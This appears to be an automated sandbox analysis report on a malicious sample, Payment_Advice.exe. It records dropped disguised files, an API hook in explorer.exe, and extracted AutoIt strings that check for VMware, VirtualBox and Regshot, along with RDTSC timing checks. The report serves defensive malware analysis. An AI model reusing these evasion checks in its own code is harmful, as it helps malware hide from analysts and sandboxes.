Code function: 6_2_00175D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00175D78

Source: Payment_Advice.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_6359531

Jump to behavior

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Jump to dropped file

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE6

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_002025A0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_002025A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0018FC8A GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_0018FC8A

Source: C:\Users\user\Desktop\Payment_Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM autoit script

Source: Yara match

File source: Process Memory Space: ewdbwwfpdh.bmp PID: 6052, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ewdbwwfpdh.bmp, 00000006.00000003.1603300172.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540709138.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1602379290.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")
Source: Payment_Advice.exe, 00000000.00000003.1414188164.0000000008C9D000.00000004.00000020.00020000.00000000.sdmp, fjrpidauk.jpg.0.dr	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
Source: ewdbwwfpdh.bmp, 00000006.00000002.1607737663.000000000100B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601630284.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1604570490.000000000100A000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601873902.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601782208.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603782046.000000000100A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXESM5
Source: Payment_Advice.exe, 00000000.00000003.1414188164.0000000008C9D000.00000004.00000020.00020000.00000000.sdmp, fjrpidauk.jpg.0.dr	Binary or memory string: PROCESSCLOSE("REGSHOT.EXE")
Source: ewdbwwfpdh.bmp, 00000006.00000002.1607737663.000000000100B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601630284.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1604570490.000000000100A000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601873902.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601782208.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603782046.000000000100A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXE
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540709138.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000002.1607113781.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603533350.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN(

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000002B59904 second address: 0000000002B5990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000002B59B6E second address: 0000000002B59B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-100289

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\explorer.exe TID: 4788	Thread sleep time: -10078000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4788	Thread sleep time: -9796000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 4932	Thread sleep count: 170 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 4932	Thread sleep time: -340000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 4932	Thread sleep count: 9802 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe TID: 4932	Thread sleep time: -19604000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 5039	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4898	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 873	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 9802	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	API coverage: 4.6 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 1.6 %
Source: C:\Windows\SysWOW64\cmd.exe	API coverage: 0.8 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_00409AA0 rdtsc

14_2_00409AA0

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

API call chain: ExitProcess graph end node

graph_0-25253

Source: ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VMwaretray.exe") Then"
Source: ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") Then
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rocessExists("VboxService.exe") Then
Source: explorer.exe, 0000000F.00000003.2284163967.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}F
Source: ewdbwwfpdh.bmp, 00000006.00000003.1603167171.0000000000F53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareUser.exe5FB536C7S
Source: ewdbwwfpdh.bmp, 00000006.00000003.1603167171.0000000000F53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareService.exe
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If ProcessExists("VMwaretray.exe") Then
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
Source: explorer.exe, 0000000F.00000002.3842529276.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00=
Source: explorer.exe, 0000000F.00000002.3856158250.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwaretray.exeteM8
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenU6
Source: ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenU68
Source: explorer.exe, 0000000F.00000002.3856158250.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 0000000F.00000002.3856158250.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
Source: explorer.exe, 0000000F.00000003.2284163967.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 0000000F.00000002.3856158250.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en\volume.inf_loc
Source: ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then&
Source: explorer.exe, 0000000F.00000002.3842529276.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000F.00000003.2284163967.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: uaabfk.icm.0.dr	Binary or memory string: hF2gsx3i60QuAB24U6xnv008E1r8PTZi58o47x15qEmU8532NW553R2YdA858l1lX8y8X8q119o03NZX84rTH02P5
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If ProcessExists("VboxService.exe") Then
Source: ewdbwwfpdh.bmp, 00000006.00000003.1603000018.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603076190.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601700548.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1602242665.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exe
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VboxService.exe
Source: explorer.exe, 0000000F.00000002.3842529276.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601571668.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540709138.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Then
Source: explorer.exe, 0000000F.00000003.2284163967.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If ProcessExists("VBoxTray.exe") Then
Source: explorer.exe, 0000000F.00000002.3842529276.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0051E6A3 VirtualQuery,GetSystemInfo,

0_2_0051E6A3

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0050A69B
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0051C220
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0052B348 FindFirstFileExA,	0_2_0052B348
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DE387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_001DE387
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001EA0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_001EA0FA
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001EA488 FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_001EA488
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E65F1 FindFirstFileW,FindNextFileW,FindClose,	6_2_001E65F1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001AC642 FindFirstFileExW,	6_2_001AC642
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E7248 FindFirstFileW,FindClose,	6_2_001E7248
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E72E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_001E72E9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DD836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_001DD836
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001DDB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_001DDB69
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E9F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_001E9F9F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A5589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	16_2_00A5589A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	16_2_00A54EC1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A50207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	16_2_00A50207
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A63E66 FindFirstFileW,FindNextFileW,FindClose,	16_2_00A63E66
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A4532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	16_2_00A4532E

Source: C:\Users\user\Desktop\Payment_Advice.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_00175D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00175D78

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00527DEE mov eax, dword ptr fs:[00000030h]	0_2_00527DEE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00195078 mov eax, dword ptr fs:[00000030h]	6_2_00195078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4164 mov eax, dword ptr fs:[00000030h]	14_2_017A4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4164 mov eax, dword ptr fs:[00000030h]	14_2_017A4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01768158 mov eax, dword ptr fs:[00000030h]	14_2_01768158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01764144 mov eax, dword ptr fs:[00000030h]	14_2_01764144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01764144 mov eax, dword ptr fs:[00000030h]	14_2_01764144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01764144 mov ecx, dword ptr fs:[00000030h]	14_2_01764144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01764144 mov eax, dword ptr fs:[00000030h]	14_2_01764144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01764144 mov eax, dword ptr fs:[00000030h]	14_2_01764144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6154 mov eax, dword ptr fs:[00000030h]	14_2_016D6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6154 mov eax, dword ptr fs:[00000030h]	14_2_016D6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CC156 mov eax, dword ptr fs:[00000030h]	14_2_016CC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01700124 mov eax, dword ptr fs:[00000030h]	14_2_01700124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01790115 mov eax, dword ptr fs:[00000030h]	14_2_01790115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177A118 mov ecx, dword ptr fs:[00000030h]	14_2_0177A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177A118 mov eax, dword ptr fs:[00000030h]	14_2_0177A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177A118 mov eax, dword ptr fs:[00000030h]	14_2_0177A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177A118 mov eax, dword ptr fs:[00000030h]	14_2_0177A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov ecx, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov ecx, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov ecx, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov eax, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E10E mov ecx, dword ptr fs:[00000030h]	14_2_0177E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017001F8 mov eax, dword ptr fs:[00000030h]	14_2_017001F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A61E5 mov eax, dword ptr fs:[00000030h]	14_2_017A61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E1D0 mov eax, dword ptr fs:[00000030h]	14_2_0174E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E1D0 mov eax, dword ptr fs:[00000030h]	14_2_0174E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E1D0 mov ecx, dword ptr fs:[00000030h]	14_2_0174E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E1D0 mov eax, dword ptr fs:[00000030h]	14_2_0174E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E1D0 mov eax, dword ptr fs:[00000030h]	14_2_0174E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017961C3 mov eax, dword ptr fs:[00000030h]	14_2_017961C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017961C3 mov eax, dword ptr fs:[00000030h]	14_2_017961C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175019F mov eax, dword ptr fs:[00000030h]	14_2_0175019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175019F mov eax, dword ptr fs:[00000030h]	14_2_0175019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175019F mov eax, dword ptr fs:[00000030h]	14_2_0175019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175019F mov eax, dword ptr fs:[00000030h]	14_2_0175019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178C188 mov eax, dword ptr fs:[00000030h]	14_2_0178C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178C188 mov eax, dword ptr fs:[00000030h]	14_2_0178C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01710185 mov eax, dword ptr fs:[00000030h]	14_2_01710185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01774180 mov eax, dword ptr fs:[00000030h]	14_2_01774180
